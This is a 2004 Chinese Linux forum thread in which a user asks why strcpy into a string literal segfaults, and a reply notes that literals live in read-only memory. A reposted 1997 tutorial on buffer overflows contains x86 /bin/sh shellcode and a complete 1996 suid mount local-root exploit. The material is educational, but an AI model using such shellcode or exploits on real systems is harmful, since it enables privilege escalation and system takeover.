LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 904|回复: 5

一个strcpy()代码的疑问。

[复制链接]
发表于 2004-8-11 14:58:53 | 显示全部楼层 |阅读模式
/usr/src/linux-2.4.20-8/lib/string.c

  1. /**
  2. * strcpy - Copy a %NUL terminated string
  3. * @dest: Where to copy the string to
  4. * @src: Where to copy the string from
  5. */
  6. char * strcpy(char * dest,const char *src)
  7. {
  8.         char *tmp = dest;

  9.         while ((*dest++ = *src++) != '\0')
  10.                 /* nothing */;
  11.         return tmp;
  12. }
复制代码

上面是linux的源代码,我调用这个函数时发生了的一个段错误,请指教:

  1. #include<stdio.h>
  2. #include<stdlib.h>:
  3. int main()
  4. {
  5. char str1[x]="abcde";/*错误代替:char *str1="abcde";
  6. char *str2="ecd";
  7. strcpy(str1,str2);
  8. printf("%s",str1);/*一点错误没有提示,即使str2的长度超过x,也不会报
  9. 错,虽然肯定是指针越界了,但打印出的就是str2的内容*/
  10. return 0;
  11. }
复制代码

请教各位,为什么我第一行使用char *str1="abcde"后,不管str2的长度是否比str1长,都是发生编译通过,但执行时提示“段错误”,然后异常退出。
发表于 2004-8-11 15:43:29 | 显示全部楼层
显然啊,c不会检查是否越界的,一旦你给的参数有问题,自然程序出错。比较安全的方法是用strncpy
 楼主| 发表于 2004-8-11 15:57:13 | 显示全部楼层

我是想知道那底层的是怎么回事

strcpy().
strcat()
sprintf()
vsprintf()
gets(),
scanf(),
以及在循环内的
getc(),fgetc(),getchar()等都是造成缓冲区溢出的标准函数,哪位知道分别有
什么可以代替的,贴出来供大家学习啊。

还有请问为什么上面的程序使用char str1[]就不会发生段错误,而使用
char *str1就会有这种错误呢?请教高手
 楼主| 发表于 2004-8-11 16:01:58 | 显示全部楼层

转贴

软件屋-Linux之家
中文Linux资料大全

缓冲区溢出机理分析



                     计算机应用工作室1997年版权所有

            ##########################################
                缓冲区溢出(buffer overflow)机理分析
            ##########################################

                            Only 1997.7.19
                      Only.bbs@bbs.sjtu.edu.cn

1.什么是缓冲区溢出?
~~~~~~~~~~~~~~~~~~~
    buffer overflow,buffer overrun,smash the stack,trash the stack,
scribble the stack, mangle the stack,spam,alias bug,fandango on core,
memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手
段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程
序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区
溢出进行的攻击占所有系统攻击总数的80%以上。
    造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程
序:

example1.c

  1. void function(char *str) {
  2.    char buffer[16];

  3.    strcpy(buffer,str);
  4. }
复制代码


    上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度
大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的
标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的
getc(),fgetc(),getchar()等。
    当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault
错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行
一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限
的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
    请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel
x86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应
修改。

2.制造缓冲区溢出
~~~~~~~~~~~~~~~~
    一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程
序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈
来存放。在内存中,它们的位置是:

                          +------------------+  内存低端
                          |       程序段     |
                          |------------------|
                          |       数据段     |
                          |------------------|
                          |        堆栈      |
                          +------------------+  内存高端

    当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后
保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄
存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变
量留出一定空间,把SP减去适当的数值。以下面程序为例:

example2.c

  1. void function(char *str) {
  2.    char buffer[16];

  3.    strcpy(buffer,str);
  4. }

  5. void main() {
  6.   char large_string[256];
  7.   int i;

  8.   for( i = 0; i < 255; i++)
  9.     large_string[i] = 'A';

  10.   function(large_string);
  11. }
复制代码


    当调用函数function()时,堆栈如下:

低内存端       buffer       sfp   ret  *str         高内存端
<------  [               ][    ][    ][    ]
栈顶                                                    栈底

    不用说,程序执行的结果是"Segmentation fault (core dumped)"或类似的
出错信息。因为从buffer开始的256个字节都将被*str的内容'A'覆盖,包括sfp,
ret,甚至*str。'A'的十六进值为0x41,所以函数的返回地址变成了0x41414141,
这超出了程序的地址空间,所以出现段错误。

3.通过缓冲区溢出获得用户SHELL
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内
容,使它指向缓冲区的开头,就可以达到运行其它指令的目的。

低内存端       buffer       sfp   ret  *str         高内存端
<------  [               ][    ][    ][    ]
栈顶      ^                        |                    栈底
          |________________________|


通常,我们想运行的是一个用户shell。下面是一段写得很漂亮的shell代码

example3.c

  1. void main() {
  2. __asm__("
  3. jmp 0x1f # 2 bytes
  4. popl %esi # 1 byte
  5. movl %esi,0x8(%esi) # 3 bytes
  6. xorl %eax,%eax # 2 bytes
  7. movb %eax,0x7(%esi) # 3 bytes
  8. movl %eax,0xc(%esi) # 3 bytes
  9. movb $0xb,%al # 2 bytes
  10. movl %esi,%ebx # 2 bytes
  11. leal 0x8(%esi),%ecx # 3 bytes
  12. leal 0xc(%esi),%edx # 3 bytes
  13. int $0x80 # 2 bytes
  14. xorl %ebx,%ebx # 2 bytes
  15. movl %ebx,%eax # 2 bytes
  16. inc %eax # 1 bytes
  17. int $0x80 # 2 bytes
  18. call -0x24 # 5 bytes
  19. .string "/bin/sh" # 8 bytes
  20. # 46 bytes total
  21. ");
  22. }
复制代码


将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。

example4.c

  1. char shellcode[] =
  2. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  3. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  4. "\x80\xe8\xdc\xff\xff\xff/bin/sh";

  5. char large_string[128];

  6. void main() {
  7. char buffer[96];
  8. int i;
  9. long *long_ptr = (long *) large_string;

  10. for (i = 0; i < 32; i++)
  11. *(long_ptr + i) = (int) buffer;

  12. for (i = 0; i < strlen(shellcode); i++)
  13. large_string[i] = shellcode[i];

  14. strcpy(buffer,large_string);
  15. }
复制代码


这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试从
strcpy()中返回时,就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放
入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过
反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进
行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码
前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令
后程序将激活shell进程。这样就大大增加了猜中的可能性。

低内存端 buffer sfp ret *str 高内存端
<------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|

图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用
了系统程序mount的漏洞:

example5.c

  1. /* Mount Exploit for Linux, Jul 30 1996

  2. Discovered and Coded by Bloodmask & Vio
  3. Covin Security 1996
  4. */

  5. #include <unistd.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <fcntl.h>
  9. #include <sys/stat.h>

  10. #define PATH_MOUNT "/bin/umount"
  11. #define BUFFER_SIZE 1024
  12. #define DEFAULT_OFFSET 50

  13. u_long get_esp()
  14. {
  15. __asm__("movl %esp, %eax");

  16. }

  17. main(int argc, char **argv)
  18. {
  19. u_char execshell[] =
  20. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  21. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  22. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

  23. char *buff = NULL;
  24. unsigned long *addr_ptr = NULL;
  25. char *ptr = NULL;

  26. int i;
  27. int ofs = DEFAULT_OFFSET;

  28. buff = malloc(4096);
  29. if(!buff)
  30. {
  31. printf("can't allocate memory\n");
  32. exit(0);
  33. }
  34. ptr = buff;

  35. /* fill start of buffer with nops */

  36. memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  37. ptr += BUFFER_SIZE-strlen(execshell);

  38. /* stick asm code into the buffer */

  39. for(i=0;i < strlen(execshell);i++)
  40. *(ptr++) = execshell[i];

  41. addr_ptr = (long *)ptr;
  42. for(i=0;i < (8/4);i++)
  43. *(addr_ptr++) = get_esp() + ofs;
  44. ptr = (char *)addr_ptr;
  45. *ptr = 0;

  46. (void)alarm((u_int)0);
  47. printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  48. execl(PATH_MOUNT, "mount", buff, NULL);
  49. }

复制代码


程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区
buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望
程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成
mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将
获得一个具有root权限的shell。




本文章版权属绿色兵团所有。
发表于 2004-8-11 16:35:24 | 显示全部楼层
char *p="abcde"的话,实际上是把p指向一个常量字符串吧,这个时候任何对于这个字符串的修改都会出现段错误的。这个时候abcde是放在rodata段,只读的。
 楼主| 发表于 2004-8-11 16:52:27 | 显示全部楼层

太谢谢楼上的

我们几个菜鸟互相瞪眼睛,搞不定啊:thank
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表